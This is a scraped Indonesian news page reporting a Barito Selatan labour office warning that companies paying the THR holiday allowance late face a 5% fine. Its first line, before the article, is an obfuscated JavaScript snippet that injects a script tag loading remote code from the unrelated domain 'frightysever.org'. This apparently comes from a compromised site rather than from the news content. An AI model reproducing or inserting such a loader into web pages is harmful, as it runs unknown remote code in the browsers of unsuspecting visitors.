(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Telat Bayar THR Didenda 5% dari Total THR


BUNTOK, Menindak lanjuti surat edaran dari Disnakertrans Provinsi Kalteng nomor 565/615/HI.01/V/Nakertrans, terkait pembayaran Tunjangan Hari Raya (THR) keagamaan, yang ditujukan kepada Disnakertrans se Kalteng.

Kepala Disnakertrans Barito Selatan (Barsel), Agus Inyulius mengatakan, berdasarkan surat edaran tersebut pihaknya kembali mengingatkan kepada semua perusahaan yang ada di Barsel untuk tidak lupa membayarkan THR karyawannya.

“Mengingat jika sampai telat dari batas ketetapan waktu yang ditentukan dalam pembayaran THR, pihak perusahaan akan didenda 5% dari jumlah THR yang ditetapkan,” kata Agus kepada Kanalkalimantan.com, Kamis (16/5).

Ia mengatakan, berdasarkan Pasal 7 Permen nomor 78 tahun 2015 tentang pengupahan dan Permen Ketenaga kerjaan nomor 6 tahun 2016 tentang THR keagamaan bagi pekerja atau buruh pada perusahaan.

“Maka dari itu, kami kembali mengingatkan kepada semua perusahaan untuk tidak terlambat membayarkan THR sebelum 7 hari masa pelaksanaan hari raya ke agamaan,” ucap Agus.

Ia mengimbau kepada pihak perusahaan untuk bisa memfasilitasi atau menyelenggarakan mudik lebaran bersama dalam membantu dan mempermudah bagi karyawan yang ingin mudik lebaran.

“Paling tidak bagi perusahaan yang jauh dari jalan umum, bisa memberikan bantuan akses untuk pengantaran hingga sampai ke stasiun angkutan umum,” ujar Agus.

Ditambahkan olehnya berdasarkan surat edaran tersebut pihaknya juga akan membentuk pos pelayanan aduan pembayaran THR dan melakukan monitoring pembayaran THR tersebut, untuk bisa disampaikan ke Disnakertrans Provinsi Kalteng.

“Sehingga dapat diketahui tingkat kepatuhan setiap perusahaan terhadap ketentuan pembayaran THR tersebut,” pungkas Agus. (digdo)

Reporter:Digdo
Editor:Bie

Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

13 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

18 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

18 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

2 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

2 hari ago

This website uses cookies.